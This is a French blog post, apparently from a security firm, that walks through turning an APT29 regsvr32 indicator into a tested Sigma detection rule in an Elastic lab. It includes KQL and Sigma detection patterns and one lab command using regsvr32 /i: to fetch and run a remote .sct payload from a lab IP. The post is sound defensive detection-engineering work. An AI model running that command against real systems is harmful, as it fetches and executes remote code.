Threat Hunting avec Sigma et Elastic: De l'Indicateur a la Regle de Detection

Le threat hunting ne consiste pas a fixer de jolis dashboards en attendant qu'un voyant clignote rouge. Cela commence par une hypothese moche, ecrite a la main: 'un attaquant a utilise rundll32 pour charger une DLL hors de C:\Windows'. Chez Basilisk OffSec nous traitons chaque chasse comme une petite experience scientifique: hypothese, donnees collectees, requete, falsification. Le resultat final, quand il en vaut la peine, devient une regle Sigma versionnee dans Git. Ce post parcourt le cycle complet que nous executons contre un lab Windows 11 avec Sysmon 15 et Elastic 8.13, depuis un indicateur brut jusqu'a une detection avec un taux de faux positifs mesure.

Avant d'ecrire la moindre regle il faut voir de la telemetrie reelle. On a monte un lab avec trois VMs: Windows 11 avec Sysmon (config SwiftOnSecurity modifiee), un Domain Controller minimal suivant notre Pentest Active Directory : Kerberoasting Pas a Pas dans un Lab GOAD, et un Elastic single-node avec Fleet. Pour generer un comportement malveillant controle on utilise Caldera avec les TTPs ATT&CK, comme detaille dans Adversary Emulation avec Caldera et MITRE ATT&CK en Lab d'Entreprise. Chaque execution produit environ 4 000 evenements par minute, assez pour decouvrir que votre 'regle precise' a en realite un bruit absurde des qu'un utilisateur ouvre Teams.

L'hypothese de cet exemple vient d'un rapport public: le groupe APT29 a utilise regsvr32 avec /s /u /i et une URL HTTP pour telecharger un payload. Avant de la convertir en Sigma on l'a validee dans Discover d'Elastic en KQL: process.name:regsvr32.exe and process.command_line:(*\/i\:http* or *\/i\:\\\\*). On a trouve 12 hits en 7 jours, tous legitimes (installeurs d'entreprise). C'est le moment qui separe le hunter du generateur d'alertes inutiles: enrichir avec process.parent.name et file.signature.signed. Des techniques connexes d'abus de binaires signes apparaissent dans notre Hunting des Living-off-the-Land Binaries sous Windows avec KQL, lecture obligatoire avant d'aller plus loin.

Avec la requete affinee, on traduit en Sigma YAML. La regle s'est retrouvee avec title, status experimental, logsource category process_creation et product windows, detection avec selection_img (Image endswith \regsvr32.exe), selection_cli (CommandLine contains all: ['/i:', '://']) et filter_signed (Signed: true) dans condition selection_img and selection_cli and not filter_signed. On convertit avec sigma convert -t lucene -p ecs_windows regle.yml et on obtient la requete Elastic prete. Ce flux de pipeline est le meme qu'on utilise dans le cycle decrit dans Purple Team en Pratique: Construire une Boucle de Feedback Red vs Blue, ou la Red livre des TTPs et la Blue renvoie de la couverture.

Tester une regle Sigma sans replay c'est de la foi aveugle. On genere des evenements reels en executant regsvr32 /s /u /i:http://10.10.0.5/payload.sct scrobj.dll dans le lab, on capture avec Winlogbeat et on mesure: le temps jusqu'a l'alerte dans Elastic Security a ete de 14 secondes, avec zero faux positif sur 72 heures de baseline. En passant a une production simulee (200 endpoints), 1 FP par jour est apparu, du a une mise a jour McAfee utilisant /i: avec un chemin local. On a ajuste le filter pour exclure CommandLine contenant C:\Program Files. Ce type d'iteration apparait aussi en mouvement lateral, traite dans Mouvement Lateral en Lab: SMB, WMI et WinRM avec Focus Detection.

La documentation tue les regles orphelines. Chaque Sigma de notre repo a des champs custom: hypothesis, datasource_required, attack_id (T1218.010), false_positive_rate_observed, last_tested, et un lien vers le pcap/EVTX utilise dans le test. On le versionne dans GitLab avec un pipeline qui lance sigma check, puis sigma convert pour Elastic, Splunk et Chronicle, et publie via l'API Kibana avec detection_engine/rules/_import. Si la conversion echoue, le pipeline casse. Cette discipline est ce qui separe un SOC qui evolue d'un SOC qui collectionne des PDFs. Pour une visibilite DFIR rapide complementaire apres un hit, on recommande l'approche dans DFIR sous Linux: Triage Vivant avec UAC et Velociraptor adaptee a Windows avec KAPE.

Le takeaway pratique: n'ecrivez pas de Sigma pour des indicateurs que vous n'avez jamais vus dans vos donnees. Commencez toujours par executer le TTP dans votre lab, comptez les evenements generes, comptez les evenements legitimes ressemblants, et ensuite seulement ecrivez la regle. Objectif interne Basilisk: aucune regle ne passe en production sans 7 jours de baseline et un taux de FP mesure sous 1 pour 10 000 evenements de la source. Commencez demain avec une petite hypothese, une requete et un YAML. Dans trois mois vous aurez 30 detections qui fonctionnent vraiment, au lieu de 300 qui ne font que generer de la fatigue.